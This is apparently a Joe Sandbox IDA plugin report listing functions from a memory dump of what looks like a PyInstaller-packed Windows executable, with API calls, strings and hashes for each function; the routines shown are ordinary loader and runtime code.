Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: Process_invalid_parameter_noinfo$ByteCharCodeCommandConsoleCreateCtrlExitHandlerInfoLineMultiObjectSingleStartupWaitWide
String ID: CreateProcessW$Failed to create child process!
API String ID: 2895956056-699529898
Opcode ID: 2d8580ce5d81a01d0f8683f73fef31206a84e7faf833a053d17f215ed92b6c27
Instruction ID: e80bbda4e40d2818f9b88610f948c8e1d78189ea65abe69411fbe6e041833de5
Opcode Fuzzy Hash: 2d8580ce5d81a01d0f8683f73fef31206a84e7faf833a053d17f215ed92b6c27
Instruction Fuzzy Hash: 7541EF35E1878281DB20DB24E4552AEA291FB8D364F540735E6BD877E9EF7CD044CB40

Function 00007FF6FB1E11F0 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 154
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

1.3.1, xrefs: 00007FF6FB1E1229
malloc, xrefs: 00007FF6FB1E129C, 00007FF6FB1E12CA
Failed to extract %s: failed to allocate temporary output buffer!, xrefs: 00007FF6FB1E12C3
Failed to extract %s: decompression resulted in return code %d!, xrefs: 00007FF6FB1E13EE
Failed to extract %s: failed to allocate temporary input buffer!, xrefs: 00007FF6FB1E1295
Failed to extract %s: inflateInit() failed with return code %d!, xrefs: 00007FF6FB1E1256

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: Message
String ID: 1.3.1$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
API String ID: 2030045667-2813020118
Opcode ID: 037f3093d73a47c1094b0f469115e0436c81e2300c38a90b229c8b60b32e4b09
Instruction ID: f25522d03216c9f26ca48102f9033c5c81c35bf2f67cc895f3b0f9c312f4e899
Opcode Fuzzy Hash: 037f3093d73a47c1094b0f469115e0436c81e2300c38a90b229c8b60b32e4b09
Instruction Fuzzy Hash: BB519B62E0868381FB60EA16A8503BE6291BB89798F544135ED6EC7BE5FF3CF551C700

Function 00007FF6FB1FE020 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?,?,?,00007FF6FB1FE3BA,?,?,-00000018,00007FF6FB1FA063,?,?,?,00007FF6FB1F9F5A,?,?,?,00007FF6FB1F524E), ref: 00007FF6FB1FE19C
GetProcAddress.KERNEL32(?,?,?,00007FF6FB1FE3BA,?,?,-00000018,00007FF6FB1FA063,?,?,?,00007FF6FB1F9F5A,?,?,?,00007FF6FB1F524E), ref: 00007FF6FB1FE1A8

Strings

ext-ms-, xrefs: 00007FF6FB1FE0F9
api-ms-, xrefs: 00007FF6FB1FE0E6

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 400d167c79677b3a1b331b2dd1a2c4ed1cd7dec94f3cf9f9612a621c3bffedbb
Instruction ID: f91773464e4e3cebfd30156d09eb2faf33cdbfea43315af6720a273f4a939758
Opcode Fuzzy Hash: 400d167c79677b3a1b331b2dd1a2c4ed1cd7dec94f3cf9f9612a621c3bffedbb
Instruction Fuzzy Hash: D241CC22B19A0381EB26CB17A91467A2292BF8DBA8F084535DD2DD77E4FE3DE505C300

Function 00007FF6FB1E7C40 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathW.KERNEL32(?,?,FFFFFFFF,00007FF6FB1E3834), ref: 00007FF6FB1E7CE4
CreateDirectoryW.KERNELBASE(?,?,FFFFFFFF,00007FF6FB1E3834), ref: 00007FF6FB1E7D2C

Part of subcall function 00007FF6FB1E7E10: GetEnvironmentVariableW.KERNEL32(00007FF6FB1E365F), ref: 00007FF6FB1E7E47
Part of subcall function 00007FF6FB1E7E10: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF6FB1E7E69

Part of subcall function 00007FF6FB1F7548: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB1F7561

Part of subcall function 00007FF6FB1E26C0: MessageBoxW.USER32 ref: 00007FF6FB1E2736

Strings

TMP, xrefs: 00007FF6FB1E7C7C, 00007FF6FB1E7D83
TMP, xrefs: 00007FF6FB1E7CA2
_MEI%d, xrefs: 00007FF6FB1E7CF2
LOADER: failed to set the TMP environment variable., xrefs: 00007FF6FB1E7CBC
LOADER: length of teporary directory path exceeds maximum path length!, xrefs: 00007FF6FB1E7D5E

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: Environment$CreateDirectoryExpandMessagePathStringsTempVariable_invalid_parameter_noinfo
String ID: LOADER: failed to set the TMP environment variable.$LOADER: length of teporary directory path exceeds maximum path length!$TMP$TMP$_MEI%d
API String ID: 740614611-1339014028
Opcode ID: e203fb9b2ed022230aea9b70073d79c64569b0fcacf7335b186391ffe1e7d089
Instruction ID: 3fab048a01c5c4017447e2a7546bf2296505fa9d9af4630f50572a24fffc5199
Opcode Fuzzy Hash: e203fb9b2ed022230aea9b70073d79c64569b0fcacf7335b186391ffe1e7d089
Instruction Fuzzy Hash: 1D411515E0A64380FB24EB61A9652B91291AF8DBC8F441131EE2DD7BF6FE2CF5088340

Function 00007FF6FB1FAD6C Relevance: 10.8, APIs: 7, Instructions: 290
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB1FB199

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: f46020de842a52cafdde7105f07d1b6eb91271a1123fdb72a25b984c7f5050ec
Instruction ID: f5e055fceffc53f5b794d61c64e7a08555c6d169ef99cdab7ceb5876c17f195e
Opcode Fuzzy Hash: f46020de842a52cafdde7105f07d1b6eb91271a1123fdb72a25b984c7f5050ec
Instruction Fuzzy Hash: 85C1F226E1C68791EB61DB15A4403BE37A1FB98B88F550131DA6E877F1EE7CE855C300

Function 00007FF6FB1E7B50 Relevance: 10.6, APIs: 7, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF6FB1E7B70
OpenProcessToken.ADVAPI32 ref: 00007FF6FB1E7B83
GetTokenInformation.KERNELBASE ref: 00007FF6FB1E7BA8
GetLastError.KERNEL32 ref: 00007FF6FB1E7BB2
GetTokenInformation.KERNELBASE ref: 00007FF6FB1E7BF2
ConvertSidToStringSidW.ADVAPI32 ref: 00007FF6FB1E7C0E
CloseHandle.KERNEL32 ref: 00007FF6FB1E7C26

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: Token$InformationProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID:
API String ID: 995526605-0
Opcode ID: 62e4819b0c80cd137060bb94e6a3fe70b8e549ab62dcd95e051829f5e08db428
Instruction ID: 9f68bda16038fa0af6870d5dab42bb87e4d3b2bb3bba1e13ac5367b6b9894744
Opcode Fuzzy Hash: 62e4819b0c80cd137060bb94e6a3fe70b8e549ab62dcd95e051829f5e08db428
Instruction Fuzzy Hash: 9D212125E0CA4341EB209B55F59427EA3A5EB897A8F140235EA7DC3AF4EF6CE4498700

Function 00007FF6FB1E33E0 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(?,00007FF6FB1E3534), ref: 00007FF6FB1E3411

Part of subcall function 00007FF6FB1E29E0: GetLastError.KERNEL32(?,?,?,00007FF6FB1E342E,?,00007FF6FB1E3534), ref: 00007FF6FB1E2A14
Part of subcall function 00007FF6FB1E29E0: FormatMessageW.KERNEL32(?,?,?,00007FF6FB1E342E), ref: 00007FF6FB1E2A7D
Part of subcall function 00007FF6FB1E29E0: MessageBoxW.USER32 ref: 00007FF6FB1E2ACF

Strings

Failed to resolve full path to executable %ls., xrefs: 00007FF6FB1E3461
Failed to obtain executable path., xrefs: 00007FF6FB1E341B
GetModuleFileNameW, xrefs: 00007FF6FB1E3422
\\?\, xrefs: 00007FF6FB1E3482
Failed to convert executable path to UTF-8., xrefs: 00007FF6FB1E34B8

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: Message$ErrorFileFormatLastModuleName
String ID: Failed to convert executable path to UTF-8.$Failed to obtain executable path.$Failed to resolve full path to executable %ls.$GetModuleFileNameW$\\?\
API String ID: 517058245-2863816727
Opcode ID: 4333ea13b7f7892cb13c7834fe0fbc8b7cb0659b0560af6bfa7ef98de9a8054c
Instruction ID: 1d8c0df6fd8a5ef8bde1ecc7c3af3fead7223a4fc5fc9a714621c32a0e5ca254
Opcode Fuzzy Hash: 4333ea13b7f7892cb13c7834fe0fbc8b7cb0659b0560af6bfa7ef98de9a8054c
Instruction Fuzzy Hash: 89213D61F1864391FB26EB24E9513BE5290AF4C398F801236E67DC69F5FE2CE5048710

Function 00007FF6FB1E8400 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6FB1E7B50: GetCurrentProcess.KERNEL32 ref: 00007FF6FB1E7B70
Part of subcall function 00007FF6FB1E7B50: OpenProcessToken.ADVAPI32 ref: 00007FF6FB1E7B83
Part of subcall function 00007FF6FB1E7B50: GetTokenInformation.KERNELBASE ref: 00007FF6FB1E7BA8
Part of subcall function 00007FF6FB1E7B50: GetLastError.KERNEL32 ref: 00007FF6FB1E7BB2
Part of subcall function 00007FF6FB1E7B50: GetTokenInformation.KERNELBASE ref: 00007FF6FB1E7BF2
Part of subcall function 00007FF6FB1E7B50: ConvertSidToStringSidW.ADVAPI32 ref: 00007FF6FB1E7C0E
Part of subcall function 00007FF6FB1E7B50: CloseHandle.KERNEL32 ref: 00007FF6FB1E7C26

LocalFree.KERNEL32(?,00007FF6FB1E3814), ref: 00007FF6FB1E848C
LocalFree.KERNEL32(?,00007FF6FB1E3814), ref: 00007FF6FB1E8495

Strings

D:(A;;FA;;;%s)(A;;FA;;;%s), xrefs: 00007FF6FB1E8462
Security descriptor string length exceeds PYI_PATH_MAX!, xrefs: 00007FF6FB1E84A3
S-1-3-4, xrefs: 00007FF6FB1E8441
D:(A;;FA;;;%s), xrefs: 00007FF6FB1E8477

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: Token$FreeInformationLocalProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID: D:(A;;FA;;;%s)$D:(A;;FA;;;%s)(A;;FA;;;%s)$S-1-3-4$Security descriptor string length exceeds PYI_PATH_MAX!
API String ID: 6828938-1529539262
Opcode ID: 66c7400c0f842d66862a6c7a5c7e226ffa5096460946b14aa4108adf3e2753a4
Instruction ID: 8bfa06a4851e46ac826007bb199eff448da766d6db3e1cf6c0b06b7998118862
Opcode Fuzzy Hash: 66c7400c0f842d66862a6c7a5c7e226ffa5096460946b14aa4108adf3e2753a4
Instruction Fuzzy Hash: 64212B21E0864381E710EB10E5253FE62A5FB8D784F845435EA6DC3BE6EE3CE545C790

Function 00007FF6FB1FC270 Relevance: 6.2, APIs: 4, Instructions: 218
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6FB1FC25B), ref: 00007FF6FB1FC38C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6FB1FC25B), ref: 00007FF6FB1FC417

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: 1f18d30cb6731d2276149ea46625d8d438ffcaf3b5eb5be8e43e25f336112fa7
Instruction ID: a7dbcbc1e1f74e19b309d2fcd1c6570bcd3f85d178627569dfc7b3fa630c83f6
Opcode Fuzzy Hash: 1f18d30cb6731d2276149ea46625d8d438ffcaf3b5eb5be8e43e25f336112fa7
Instruction Fuzzy Hash: ED91AF72F1865385F760DB69A4502BD2BA0BB48B8CF144139DE2EE6EE5EE38D441D700

Function 00007FF6FB1F4938 Relevance: 6.1, APIs: 4, Instructions: 90fileCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB1F4965
CreateFileW.KERNELBASE ref: 00007FF6FB1F49A4
CloseHandle.KERNEL32 ref: 00007FF6FB1F49D9

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: CloseCreateFileHandle_invalid_parameter_noinfo
String ID:
API String ID: 1279662727-0
Opcode ID: ebea2a15e315379b7438f17c06ac6f564ef77e5ce815d722b4931623952d3bd6
Instruction ID: 476057493f5560489294b66ecdfc4e74d91cd70a192fcd2b2411a668e4bec7d9
Opcode Fuzzy Hash: ebea2a15e315379b7438f17c06ac6f564ef77e5ce815d722b4931623952d3bd6
Instruction Fuzzy Hash: 29417122E1878343E754DB6195503796261FB9C7A8F109335E6AD83AE5FF6CA5F0C700

Function 00007FF6FB1EBF5C Relevance: 4.6, APIs: 3, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6FB1EC12C: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF6FB1EC140

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF6FB1EBF80
__scrt_release_startup_lock.LIBCMT ref: 00007FF6FB1EBFEE
__scrt_get_show_window_mode.LIBCMT ref: 00007FF6FB1EC041

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_release_startup_lock
String ID:
API String ID: 3251591375-0
Opcode ID: 51e2e4cc4e0defacebf1dac919e01b91b6d5e84f1fe25dd37a2b49ce45fe95ab
Instruction ID: 1944ed0c782d6a72df424f5b4e2c204f17b496fee78f094ca1a0ba810387238b
Opcode Fuzzy Hash: 51e2e4cc4e0defacebf1dac919e01b91b6d5e84f1fe25dd37a2b49ce45fe95ab
Instruction Fuzzy Hash: 2A311A25E0824381FB64EB6899653BD1281AF4978CF440034EA7ECBEF3FE2CB9448611

Function 00007FF6FB1F8D48 Relevance: 4.5, APIs: 3, Instructions: 14COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF6FB1F8D44), ref: 00007FF6FB1F8D59
TerminateProcess.KERNEL32(?,?,?,00007FF6FB1F8D44), ref: 00007FF6FB1F8D64
ExitProcess.KERNEL32 ref: 00007FF6FB1F8D73

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 824606f6feba241c18d37bd9947fb033388d99e3127919417550cde66a1966b4
Instruction ID: 07a2989078018d28b20d309ff3bd37894c9438233e6348d44e1c110bbb6e1a0a
Opcode Fuzzy Hash: 824606f6feba241c18d37bd9947fb033388d99e3127919417550cde66a1966b4
Instruction Fuzzy Hash: EBD06714F18607C6EB686B7059A917D12115F9CB85B102438D86BC63F3ED3CA8099350

Function 00007FF6FB1EF45C Relevance: 3.2, APIs: 2, Instructions: 177COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB1EF4A0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB1EF597

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 9ca15b9002a87b72fd1966d073ee072d8ab2af6885046d3198ed673a4b76404c
Instruction ID: 1adbaf364a4a0024140f1d7681e4dac30bb370f42e2754074938bbb80f9a2542
Opcode Fuzzy Hash: 9ca15b9002a87b72fd1966d073ee072d8ab2af6885046d3198ed673a4b76404c
Instruction Fuzzy Hash: 7B518062E0968346FB28DE26940067E6791AF8CBACF184634DD7D86BF5EF3CE441C610

Function 00007FF6FB1F9E68 Relevance: 3.1, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?,?,?,00007FF6FB1F9CE5,?,?,00000000,00007FF6FB1F9D9A), ref: 00007FF6FB1F9ED6
GetLastError.KERNEL32(?,?,?,00007FF6FB1F9CE5,?,?,00000000,00007FF6FB1F9D9A), ref: 00007FF6FB1F9EE0

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: ChangeCloseErrorFindLastNotification
String ID:
API String ID: 1687624791-0
Opcode ID: 65da2f67be20623dd6870cbeabcb199f1b77c363b63baf0d8a802715797da709
Instruction ID: a6cc17002dc50e9e85a16ba20153214398180aab3176f7972fe484a0553a904e
Opcode Fuzzy Hash: 65da2f67be20623dd6870cbeabcb199f1b77c363b63baf0d8a802715797da709
Instruction Fuzzy Hash: 78215E21F1868341FB94E761A59437D26929F8CBE8F085235DA3EC76FAEE6CE445C300

Function 00007FF6FB1FB444 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,?,?,?,?,00007FF6FB1FB5DD), ref: 00007FF6FB1FB490
GetLastError.KERNEL32(?,?,?,?,?,00007FF6FB1FB5DD), ref: 00007FF6FB1FB49A

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: cd3a9f3ea8ef265e1697b25d2233ff7099ae2ab5e22e5ab4fa41e006c1c379b1
Instruction ID: 6fbc9857c4937a9933242a782e48884cf24c36f4a7c08b1976389c8317e457e7
Opcode Fuzzy Hash: cd3a9f3ea8ef265e1697b25d2233ff7099ae2ab5e22e5ab4fa41e006c1c379b1
Instruction Fuzzy Hash: 1E11C465E18A8281DB20CB25A54417A6361AB48BF8F680331EE7E87BF9EE3CD050C700

Function 00007FF6FB1F9C58 Relevance: 3.0, APIs: 2, Instructions: 19threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

